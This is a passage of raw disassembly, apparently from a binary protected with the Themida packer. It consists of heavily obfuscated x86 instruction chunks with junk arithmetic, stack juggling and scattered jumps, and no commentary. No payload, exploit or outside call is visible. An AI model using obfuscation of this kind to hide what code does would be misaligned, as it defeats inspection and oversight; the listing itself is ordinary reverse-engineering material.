		jmp	loc_5718E7
sub_56EA48	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EA70:				; CODE XREF: sub_55EDA7+B299j
		add	eax, ebp
		sub	eax, 9A57129h
		pop	ebp
		xor	eax, [esp+38h+var_3A+2]
		xor	[esp+38h+var_3A+2], eax
		xor	eax, [esp+38h+var_3A+2]
		mov	esp, [esp+38h+var_3A+2]
		sar	word ptr [esp+38h+var_3A+2], cl
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56EA8E:				; CODE XREF: sub_55EDA7+6549j
		add	esp, 4
		xchg	ebp, [esp+16h+var_16]
		mov	esp, [esp+16h+var_16]
		mov	ecx, [esp+16h+var_16]
		push	7C54h
		mov	[esp+1Ah+var_1A], edi
		jmp	loc_55E7A5
; ---------------------------------------------------------------------------


loc_56EAAA:				; CODE XREF: sub_55EDA7+2DA5j
		mov	ebx, edx
		pop	edx
		jmp	loc_569A84
; ---------------------------------------------------------------------------


loc_56EAB2:				; CODE XREF: sub_55EDA7+6555j
		add	ch, 21h
		add	al, 0C8h
		sub	al, 69h
		sub	al, 52h
		jmp	loc_56E035
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56EAC0:				; CODE XREF: Themida_:00571EFBj
		mov	ch, 59h
		not	ch
		shr	ch, 3
		and	ch, 8Eh
		inc	ch
		sub	ch, 0F8h
		sub	ch, 0FCh
		mov	dl, ch
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 2
		mov	[esp], dx
		mov	dh, 5Ch
		inc	dh
		add	dh, 0FFh
		push	ecx
		mov	ch, dh
		not	ch
		jmp	loc_568E24
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EAF5:				; CODE XREF: sub_55EDA7+8976j
		mov	edi, esp
		push	ebp
		jmp	loc_56D7E1
; ---------------------------------------------------------------------------


loc_56EAFD:				; CODE XREF: sub_55EDA7+4A9j
		sub	esi, 7DCB1E3Fh
		push	esi
		xor	[esp-0Ch+arg_8], 742024ECh
		pop	ebx
		jmp	loc_5673DD
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EB11	proc near		; CODE XREF: sub_55EDA7+1367Cj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00570CCB SIZE 00000008 BYTES

		push	ebx
		pop	eax
		pop	ebx
		push	59ECh
		mov	[esp+0], ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		push	esi
		push	eax
		jmp	loc_570CCB
sub_56EB11	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EB31:				; CODE XREF: sub_55EDA7+C24Aj
		mov	edx, 69A72B1h
		xor	edx, 46ED4908h
		sub	eax, edx
		jmp	loc_5603C4
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2B5Dh
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		sub	ebx, 3810916h
		add	ebx, edx
		add	ebx, 3810916h
		push	dword ptr [esp]
		jmp	loc_568418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EB6D:				; CODE XREF: sub_55EDA7+131B7j
		push	[esp-14h+arg_10]
		jmp	loc_56CF2A
; ---------------------------------------------------------------------------


loc_56EB75:				; CODE XREF: sub_55EDA7+7AC9j
		add	edx, 9D4C7D5Ch
		jmp	loc_5638E5
; ---------------------------------------------------------------------------


loc_56EB80:				; CODE XREF: sub_55EDA7+EA13j
		push	edx
		mov	dl, 27h
		shl	dl, 8
		shr	dl, 7
		xor	dl, 0FFh
		jmp	loc_56FE38
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		lodsd
		push	ebx
		push	ecx
		mov	ecx, 25710F07h
		mov	ebx, 2E3A0314h
		xor	ebx, ecx
		pop	ecx
		shr	ebx, 3
		jmp	loc_561DA3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EBA9:				; CODE XREF: sub_55EDA7+21C2j
		add	edx, 14B47E81h
		dec	edx
		jmp	loc_56AB71
; ---------------------------------------------------------------------------


loc_56EBB5:				; CODE XREF: sub_55EDA7+90B4j
		pop	esi
		push	ebp
		push	eax
		mov	eax, 3710336Dh
		mov	ebp, 0EF0B149Dh
		jmp	loc_571D15
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EBC7	proc near		; DATA XREF: Themida_:0055E08Co
		neg	dword ptr [esp+0]
		pushf
		jmp	loc_55E1FB
sub_56EBC7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EBD0:				; CODE XREF: sub_55EDA7+3F87j
		mov	edx, 0E340B2CBh
		sub	esi, edx
		jmp	loc_569A55
; ---------------------------------------------------------------------------


loc_56EBDC:				; CODE XREF: sub_55EDA7+137ADj
		push	eax
		jmp	loc_56C4D3
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_569B51
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EBEA:				; CODE XREF: sub_55EDA7+ABA3j
		push	6291h
		mov	[esp-2Ch+arg_28], ecx
		mov	ecx, 3E4A444Eh
		add	ecx, 0D6A40A5h
		sub	ecx, 65474h
		push	4E7h
		mov	[esp-28h+arg_24], esi
		mov	esi, 25496608h
		push	ebx
		mov	ebx, 699C0ECCh
		add	ecx, 36941369h
		jmp	loc_55F408
; ---------------------------------------------------------------------------


loc_56EC21:				; CODE XREF: sub_55EDA7+5812j
		mov	al, ch
		mov	dh, al
		pop	eax
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xor	al, dh
		mov	dx, word ptr [esp+4+var_4]
		add	esp, 2
		push	1788h
		mov	[esp+4+var_4], ecx
		mov	ch, 0Fh
		jmp	loc_56F4C0
; ---------------------------------------------------------------------------


loc_56EC44:				; CODE XREF: sub_55EDA7+469Fj
		xor	ebx, 78F06A9Dh
		add	ebx, 0DF48F06Eh
		push	ebp
		jmp	loc_566260
; ---------------------------------------------------------------------------


loc_56EC56:				; CODE XREF: sub_55EDA7+11F91j
		mov	esi, esp
		push	eax
		push	18D50E4Eh
		jmp	loc_57261B
; ---------------------------------------------------------------------------


loc_56EC63:				; CODE XREF: sub_55EDA7+AC0Fj
		add	edx, 4
		xor	edx, [esp-10h+arg_C]
		jmp	loc_565F4F
; ---------------------------------------------------------------------------


loc_56EC6E:				; CODE XREF: sub_55EDA7+ADADj
		mov	eax, [esp-1Ch+arg_18]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-1Ch+arg_18]
		mov	esp, [esp-1Ch+arg_18]
		push	ecx
		push	esp
		push	[esp-14h+arg_10]
		push	[esp-10h+arg_C]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_56E3FC
; ---------------------------------------------------------------------------


loc_56ECA6:				; CODE XREF: sub_55EDA7+AABCj
		push	eax
		jmp	loc_56D786
; ---------------------------------------------------------------------------


loc_56ECAC:				; CODE XREF: sub_55EDA7+10794j
		mov	edx, 52961F68h
		add	ecx, edx
		pop	edx
		jmp	loc_55E93D
; ---------------------------------------------------------------------------


loc_56ECB9:				; CODE XREF: sub_55EDA7+7771j
		xor	eax, 0B2B188Bh
		sub	eax, 82F0B09Ch
		add	ebp, eax
		pop	eax
		jmp	loc_5601E4
; ---------------------------------------------------------------------------


loc_56ECCB:				; CODE XREF: sub_55EDA7+8D5j
		pop	eax
		and	bl, 0C7h
		or	bl, 7Dh
		push	edx
		mov	dl, 3Bh
		dec	dl
		jmp	loc_562948
; ---------------------------------------------------------------------------


loc_56ECDC:				; CODE XREF: sub_55EDA7+125ADj
		sub	edi, 150128E2h
		add	edi, ebx
		add	edi, 150128E2h
		mov	ebx, [esp-0Ah+arg_4+2]
		jmp	loc_562070
; ---------------------------------------------------------------------------


loc_56ECF2:				; CODE XREF: sub_55EDA7+3D1Cj
		add	esp, 4
		pop	ecx
		jmp	loc_55E677
; ---------------------------------------------------------------------------


loc_56ECFB:				; CODE XREF: sub_55EDA7+133CCj
		not	esi
		sub	esi, 2CA05ACDh
		add	esi, 0F60EC0D5h
		xor	ecx, esi
		push	[esp-1Ch+arg_18]
		jmp	loc_56562D
; ---------------------------------------------------------------------------


loc_56ED13:				; CODE XREF: sub_55EDA7+A498j
		pop	[esp+2Eh+var_2E]
		push	edx
		jmp	loc_561D56
; ---------------------------------------------------------------------------


loc_56ED1C:				; CODE XREF: sub_55EDA7+5E09j
		add	edi, edx
		jmp	loc_564D16
; ---------------------------------------------------------------------------


loc_56ED23:				; CODE XREF: sub_55EDA7+BF5Aj
		sub	[edi+24h], ebp
		mov	ebp, [esp-1Ah+arg_14+2]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_564366
; ---------------------------------------------------------------------------


loc_56ED37:				; CODE XREF: sub_55EDA7+52C6j
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+12h+var_12]
		jmp	loc_568B57
; ---------------------------------------------------------------------------


loc_56ED48:				; CODE XREF: sub_55EDA7+31FEj
		push	eax
		push	1F85518Ch
		mov	eax, [esp+16h+var_16]
		sub	esp, 4
		mov	[esp+1Ah+var_1A], eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+1Ah+var_1A]
		pop	esp
		dec	eax
		shl	eax, 5
		jmp	loc_5607FC
; ---------------------------------------------------------------------------


loc_56ED71:				; CODE XREF: sub_55EDA7+12298j
		push	edx
		mov	edx, 101762A2h
		shr	edx, 8
		xor	edx, 598014ADh
		sub	ecx, edx
		jmp	loc_5672E0
; ---------------------------------------------------------------------------


loc_56ED87:				; CODE XREF: sub_55EDA7+3F4Bj
		dec	ah
		xor	ah, 5Dh
		jmp	loc_56B777
; ---------------------------------------------------------------------------


loc_56ED91:				; CODE XREF: sub_55EDA7+941Fj
		push	esi
		mov	esi, 2FE43A38h
		push	30h
		mov	[esp-18h+arg_14], esi
		pop	ecx
		pop	esi
		sub	esp, 4
		mov	[esp-1Ch+arg_18], eax
		mov	eax, 147367A0h
		xor	ecx, eax
		pop	eax
		add	ecx, 0C468A269h
		push	22D6h
		mov	[esp-1Ch+arg_18], ebx
		mov	ebx, ecx
		mov	esi, ebx
		push	[esp-1Ch+arg_18]
		pop	ebx
		jmp	loc_56984F
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56EDCD:				; CODE XREF: Themida_:0056C443j
		popa
		jmp	locret_568B1D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EDD3:				; CODE XREF: sub_55EDA7+2748j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		pop	edx
		jmp	loc_55E40D
; ---------------------------------------------------------------------------


loc_56EDEA:				; CODE XREF: sub_55EDA7+11F7Ej
		push	ecx
		mov	ecx, 1
		mov	eax, ecx
		pop	ecx
		sub	ecx, eax
		push	[esp+38h+var_3A+2]
		jmp	loc_562420
; ---------------------------------------------------------------------------


loc_56EDFD:				; CODE XREF: sub_55EDA7+11379j
		add	ebx, 4
		push	ecx
		jmp	loc_5714DD
; ---------------------------------------------------------------------------


loc_56EE09:				; CODE XREF: sub_55EDA7+9BA4j
		mov	esp, [esp+4Ch+var_4E+2]
		shr	ecx, 0
		or	eax, eax
		jz	loc_56F593
		push	edi
		push	esp
		jmp	loc_56257E
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EE1E	proc near		; CODE XREF: sub_55EDA7+904Dj
		push	ebp
		jmp	sub_56EE51
sub_56EE1E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EE24:				; CODE XREF: sub_55EDA7+105EAj
		sub	[esp+54h+var_54], 53D53F91h
		pop	ebx
		add	ebx, 53D53F91h
		pop	edi
		push	eax
		mov	eax, 5FE128E6h
		xchg	eax, edi
		neg	edi
		xchg	eax, edi
		push	ecx
		mov	ecx, 7ECA5839h
		jmp	loc_57014F
; ---------------------------------------------------------------------------


loc_56EE48:				; CODE XREF: sub_55EDA7+39FAj
		ror	byte ptr [esp-2Ch+arg_28], cl
		pushf
		jmp	loc_568E0C
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EE51	proc near		; CODE XREF: sub_56EE1E+1j

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 1BBE1137h
		add	ecx, 13566848h
		add	ecx, 55681026h
		xor	ecx, 0ACA0EFCCh
		mov	ebp, ecx
		pop	ecx
		not	ebp
		push	edi
		mov	edi, 28DC666Eh
		jmp	loc_5617E7
sub_56EE51	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EE81:				; CODE XREF: sub_55EDA7-38Bj
		mov	[esp-2Ch+arg_28], edi
		push	ebp
		push	ebx
		mov	ebx, 6B755627h
		jmp	loc_569089
; ---------------------------------------------------------------------------


loc_56EE90:				; CODE XREF: sub_55EDA7+B7DBj
		push	edx
		mov	edx, 6CB7520Ch
		sub	edx, 6CB75208h
		mov	edi, edx
		jmp	loc_56136E
; ---------------------------------------------------------------------------


loc_56EEA3:				; CODE XREF: sub_55EDA7+9A6Fj
		sub	esi, 7689199Fh
		add	esi, ebx
		add	esi, 7689199Fh
		sub	esi, 59462877h
		push	[esp+28h+var_2A+2]
		pop	ebx
		add	esp, 4
		jmp	loc_565CF2
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C6B9


loc_56EEC6:				; CODE XREF: sub_56C6B9+23j
		xor	ebx, [esp+0]
		pop	esp
		jmp	loc_56BB65
; END OF FUNCTION CHUNK	FOR sub_56C6B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EECF:				; CODE XREF: sub_55EDA7+8BB5j
		add	edx, 6B716FDEh
		add	esi, edx
		push	[esp-28h+arg_24]
		pop	edx
		jmp	loc_56DFF6
; ---------------------------------------------------------------------------


loc_56EEE0:				; CODE XREF: sub_55EDA7+B2DDj
		pop	eax
		push	ebx
		mov	ebx, 48C51A37h
		xor	ecx, ebx
		pop	ebx
		sub	ecx, 633D6C7Bh
		push	3730h
		jmp	loc_5722A8
; ---------------------------------------------------------------------------


loc_56EEFA:				; CODE XREF: sub_55EDA7+BE02j
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		add	edi, 2
		xchg	edi, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		sub	esp, 4
		mov	[esp+0], ecx
		push	ebx
		mov	bl, 0BDh
		mov	cl, bl
		mov	ebx, [esp+4+var_4]
		jmp	loc_560EFF
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EF21	proc near		; DATA XREF: Themida_:0055E0F8o
		mov	cx, [esp+0]
		jmp	sub_56F6B1
sub_56EF21	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570C58


loc_56EF2A:				; CODE XREF: sub_570C58+6j
		push	dword ptr [esp+4]
		mov	ecx, [esp+8+var_8]
		jmp	loc_561CD3
; END OF FUNCTION CHUNK	FOR sub_570C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EF36:				; CODE XREF: sub_55EDA7+2035j
		push	edx
		mov	dl, 2Ah
		or	dl, 6Dh
		shl	dl, 1
		push	eax
		mov	al, 0FFh
		sub	dl, al
		pop	eax
		push	ecx
		mov	ch, 0AFh
		sub	dl, 99h
		jmp	loc_572C7F
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56EF4F	proc near		; DATA XREF: Themida_:0055E018o

var_4		= dword	ptr -4

		mov	eax, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp+4+var_4]
		pop	esp
		jmp	loc_5644B8
sub_56EF4F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EF67:				; CODE XREF: sub_55EDA7+4CBj
		mov	edx, esp
		jmp	loc_56E6B9
; ---------------------------------------------------------------------------


loc_56EF6E:				; CODE XREF: sub_55EDA7+33E2j
		mov	esi, 2DFA38ADh
		sub	esi, 7303415h
		add	esi, ebp
		jmp	loc_570572
; ---------------------------------------------------------------------------


loc_56EF80:				; CODE XREF: sub_55EDA7+11633j
		push	[esp+14h+var_12+2]
		pop	ebx
		pop	[esp+14h+var_16+2]
		jmp	loc_55F361
; ---------------------------------------------------------------------------


loc_56EF8D:				; CODE XREF: sub_55EDA7+136F8j
		mov	esi, 0E3C9E510h
		jmp	loc_56F851
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_5640A8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56EFA9:				; CODE XREF: sub_55EDA7+1339Cj
		push	5B0Ah
		jmp	loc_56B013
; ---------------------------------------------------------------------------


loc_56EFB3:				; CODE XREF: sub_55EDA7+5EE3j
		pop	ebp
		add	ebp, 4
		jmp	loc_56C689
; ---------------------------------------------------------------------------


loc_56EFBF:				; CODE XREF: sub_55EDA7+E0E7j
		sub	edx, esi
		pop	esi
		mov	ebx, edx
		pop	edx
		jmp	loc_55EF6B
; ---------------------------------------------------------------------------


loc_56EFCA:				; CODE XREF: sub_55EDA7+C08Dj
		sub	ebp, esi
		pop	esi
		xor	eax, ebp
		mov	ebp, [esp-2Ch+arg_28]
		add	esp, 4
		add	eax, 0C4C69B18h
		push	edx
		jmp	loc_56317F
; ---------------------------------------------------------------------------


loc_56EFE3:				; CODE XREF: sub_55EDA7+735j
		add	bh, 0AFh
		add	al, 69h
		push	ecx
		mov	ch, 0E3h
		jmp	loc_563CD8
; ---------------------------------------------------------------------------


loc_56EFF0:				; CODE XREF: sub_55EDA7+9D0Dj
		pop	edx
		push	edx
		mov	dl, ch
		mov	al, dl
		pop	edx
		mov	ecx, [esp+38h+var_3A+2]
		add	esp, 4
		pop	ebx
		jmp	loc_568AA5
; ---------------------------------------------------------------------------


loc_56F006:				; CODE XREF: sub_55EDA7+9ED7j
		pop	edi
		mov	esi, ebp
		jmp	loc_56AE39
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------


loc_56F00E:				; DATA XREF: Themida_:0055E048o
		push	dword ptr [esp]
		mov	eax, [esp]
		push	0B8Dh
		mov	[esp], edi
		mov	edi, esp
		push	edx
		mov	edx, 55B344B8h
		xor	edx, 8ED5A23h
		jmp	loc_566A1F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DC33


loc_56F02F:				; CODE XREF: sub_56DC33+18j
		push	0
		sub	[esp+8+var_8], ebp
		jmp	loc_566696
; END OF FUNCTION CHUNK	FOR sub_56DC33

; =============== S U B	R O U T	I N E =======================================



sub_56F03C	proc near		; DATA XREF: Themida_:0055DFA8o
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	word ptr [esp+0], cl
		pushf
		jmp	loc_565F5A
sub_56F03C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F04C:				; CODE XREF: sub_55EDA7+8FB4j
		mov	edi, [esp+24h+var_26+2]
		add	esp, 4
		jmp	loc_56C756
; ---------------------------------------------------------------------------


loc_56F05A:				; CODE XREF: sub_55EDA7-A4Bj
		or	eax, eax
		jz	loc_5655B9
		push	dword ptr [edi+1Ch]
		jmp	sub_56CEEA
; ---------------------------------------------------------------------------


loc_56F06A:				; CODE XREF: sub_55EDA7+DCE9j
		mov	esi, 5D324E3Fh
		mov	ebx, 5D324E3Bh
		xor	ebx, esi
		pop	esi
		mov	ecx, ebx
		pop	ebx
		add	esi, ecx
		pop	ecx
		add	esi, 4
		jmp	loc_56820E
; ---------------------------------------------------------------------------


loc_56F088:				; CODE XREF: sub_55EDA7-5B4j
		mov	edi, 3A8D76A7h
		mov	edx, edi
		pop	edi
		jmp	loc_560126
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F095	proc near		; CODE XREF: sub_55EDA7+1157Fj

; FUNCTION CHUNK AT 0056CA2F SIZE 0000000B BYTES

		push	ebx
		mov	ebx, 160C6FF6h
		and	ebx, 6ECF7268h
		jmp	loc_56CA2F
sub_56F095	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F0A6:				; CODE XREF: sub_55EDA7+12918j
		mov	[esp-2Ch+arg_28], edx
		jmp	loc_563C21
; ---------------------------------------------------------------------------


loc_56F0AE:				; CODE XREF: sub_55EDA7+C3D3j
		neg	edi
		and	edi, 507C4745h
		or	edi, 68927FB4h
		sub	edi, 60BD86FDh
		push	edx
		jmp	loc_560CA7
; ---------------------------------------------------------------------------


loc_56F0C8:				; CODE XREF: sub_55EDA7+9ADFj
		push	eax
		mov	eax, 4
		jmp	loc_5706B7
; ---------------------------------------------------------------------------


loc_56F0D3:				; CODE XREF: sub_55EDA7+33EDj
		add	eax, esi
		pop	esi
		push	edi
		mov	edi, 3D6D4B66h
		push	eax
		jmp	loc_56D5C1
; ---------------------------------------------------------------------------


loc_56F0E2:				; CODE XREF: sub_55EDA7+3244j
		push	edi
		mov	edi, 4CA92B6Eh
		add	ebx, edi
		mov	edi, [esp+1Ah+var_1A]
		jmp	loc_56CF3B
; ---------------------------------------------------------------------------


loc_56F0F2:				; CODE XREF: sub_55EDA7+31A0j
		add	edx, 4
		push	ebx
		jmp	loc_565559
; ---------------------------------------------------------------------------


loc_56F0FE:				; CODE XREF: sub_55EDA7+5734j
		xor	ebx, 5AE40681h
		xor	ebx, 542D296Ch
		jmp	loc_5684C3
; END OF FUNCTION CHUNK	FOR sub_55EDA7

; =============== S U B	R O U T	I N E =======================================



sub_56F10F	proc near		; CODE XREF: sub_55EDA7+D21Fj

var_4		= dword	ptr -4

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5600F6
sub_56F10F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F125:				; CODE XREF: sub_55EDA7+13A5j
		and	ecx, 2775CEh
		shr	ecx, 1
		shl	ecx, 1
		shl	ecx, 4
		jmp	loc_563D76
; ---------------------------------------------------------------------------


loc_56F137:				; CODE XREF: sub_55EDA7+EA59j
		push	edx
		mov	edx, 0
		sub	edx, edi
		mov	edi, edx
		jmp	loc_562DBB
; ---------------------------------------------------------------------------


loc_56F146:				; CODE XREF: sub_55EDA7-25j
		mov	ah, 2
		neg	ah
		shr	ah, 1
		xor	ah, 12h
		jmp	loc_55E8A5
; ---------------------------------------------------------------------------


loc_56F154:				; CODE XREF: sub_55EDA7+795Bj
		push	edx
		mov	edx, 45A00778h
		inc	edx
		jmp	loc_5653B9
; ---------------------------------------------------------------------------


loc_56F160:				; CODE XREF: sub_55EDA7+255Cj
		and	eax, ebx
		pop	ebx
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		push	1D1Ch
		mov	[esp-4+arg_0], edx
		jmp	loc_56CEA1
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		adc	[esp], eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F189:				; CODE XREF: sub_55EDA7+13674j
		add	eax, 11B7236Ch
		jmp	loc_55F3BC
; ---------------------------------------------------------------------------


loc_56F193:				; CODE XREF: sub_55EDA7+E43Aj
		xchg	edi, edx
		not	edi
		xchg	edi, edx
		add	edx, 7D0B0EE9h
		jmp	loc_55FB3A
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		jmp	loc_56E60B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F1AE:				; CODE XREF: sub_55EDA7+4F74j
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56F1B3:				; CODE XREF: sub_55EDA7+2AECj
		sub	edi, ecx
		pop	ecx
		xor	edi, 0E0FEF503h
		shl	edi, 8
		not	edi
		sub	edi, 0FFFFFFFFh
		jmp	loc_569754
; ---------------------------------------------------------------------------


loc_56F1CC:				; CODE XREF: sub_55EDA7+58A3j
		add	esp, 4
		shl	ah, 6
		not	ah
		sub	ah, 22h
		sub	bl, ah
		pop	eax
		jmp	loc_562F18
; ---------------------------------------------------------------------------


loc_56F1DF:				; CODE XREF: sub_55EDA7+6C08j
		mov	edi, 104E1C75h
		shr	edi, 3
		push	esi
		mov	esi, 553251C5h
		jmp	loc_567EF7
; ---------------------------------------------------------------------------


loc_56F1F2:				; CODE XREF: sub_55EDA7+6CCAj
		mov	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	ebx
		mov	ebx, 11EF3EB8h
		add	ebx, 264C750Bh
		xor	ebx, 62A1720Bh
		xor	ebx, 5B2C1389h
		xor	ebx, 69507360h
		sub	ebx, 5E205591h
		add	ecx, 20CD14D8h
		sub	ecx, ebx
		sub	ecx, 20CD14D8h
		jmp	loc_56CDC9
; ---------------------------------------------------------------------------


loc_56F234:				; CODE XREF: sub_55EDA7+B6CFj
		mov	esp, [esp-32h+arg_2C+2]
		mul	cl
		movzx	cx, ah
		push	5CB2h
		mov	[esp-2Eh+arg_28+2], edi
		push	esp
		jmp	loc_56AABF
; ---------------------------------------------------------------------------


loc_56F24B:				; CODE XREF: sub_55EDA7+E0F5j
		mov	ax, word ptr [esp-8+arg_4]
		push	esi
		jmp	loc_5647FC
; ---------------------------------------------------------------------------


loc_56F255:				; CODE XREF: sub_55EDA7+13F94j
		push	4AFE4375h
		pop	ebp
		push	esi
		mov	esi, 217B74E1h
		inc	esi
		jmp	loc_566F60
; ---------------------------------------------------------------------------


loc_56F267:				; CODE XREF: sub_55EDA7+6FE2j
		not	bx
		xchg	bx, cx
		push	si
		push	cx
		pop	si
		jmp	loc_568A07
; ---------------------------------------------------------------------------


loc_56F278:				; CODE XREF: sub_55EDA7+99D0j
		mov	[esp+44h+var_46+2], ebx
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 0D005CE2h
		add	edx, 1
		push	eax
		mov	eax, 7CD623E9h
		xor	edx, eax
		pop	eax
		jmp	loc_55F0B9
; ---------------------------------------------------------------------------


loc_56F295:				; CODE XREF: sub_55EDA7+A1F4j
		sub	ecx, esi
		add	ecx, 0C242D48h
		push	[esp-6+arg_0+2]
		mov	esi, [esp+0]
		jmp	loc_572ADC
; ---------------------------------------------------------------------------


loc_56F2A8:				; CODE XREF: sub_55EDA7+54E4j
		add	ebp, ebx
		jmp	loc_55EE47
; ---------------------------------------------------------------------------


loc_56F2AF:				; CODE XREF: sub_55EDA7+124D1j
		add	al, 0C3h
		pop	dx
		add	al, 0E0h
		sub	al, dh
		sub	al, 0E0h
		sub	al, 0F6h
		mov	dx, word ptr [esp+12h+var_12]
		add	esp, 2
		jmp	loc_562379
; ---------------------------------------------------------------------------


loc_56F2C7:				; CODE XREF: sub_55EDA7+5622j
		push	cx
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_56F2CF:				; CODE XREF: sub_55EDA7+48A5j
		mov	ebx, [esp+0]
		push	edi
		jmp	loc_56A420
; ---------------------------------------------------------------------------


loc_56F2D8:				; CODE XREF: sub_55EDA7+13586j
		mov	esi, 4CF3376Bh
		jmp	loc_5666C1
; END OF FUNCTION CHUNK	FOR sub_55EDA7
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		mov	edx, 2A496DFBh
		sub	esi, 54A9602Ah
		jmp	loc_565B79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55EDA7


loc_56F2F4:				; CODE XREF: sub_55EDA7+886j
		xor	eax, 6B536F09h
		shr	eax, 7
		sub	eax, 268C37h
		add	edx, eax
		pop	eax
		jmp	loc_57238E
; ---------------------------------------------------------------------------


loc_56F309:				; CODE XREF: sub_55EDA7+A7B4j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+10h+var_12+2]
		pop	esp
		push	ebp
		push	esp
		mov	ebp, [esp+14h+var_16+2]
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp+14h+var_16+2], esi
		push	ebp
		mov	ebp, 64213CF5h
		jmp	loc_565E4E
; ---------------------------------------------------------------------------


loc_56F33D:				; CODE XREF: sub_55EDA7+44B1j
		sub	ebx, 5D6DA553h
		push	ebx
		push	ebp
		mov	ebp, 7BA95E36h
		add	[esp-0Ah+arg_8+2], ebp
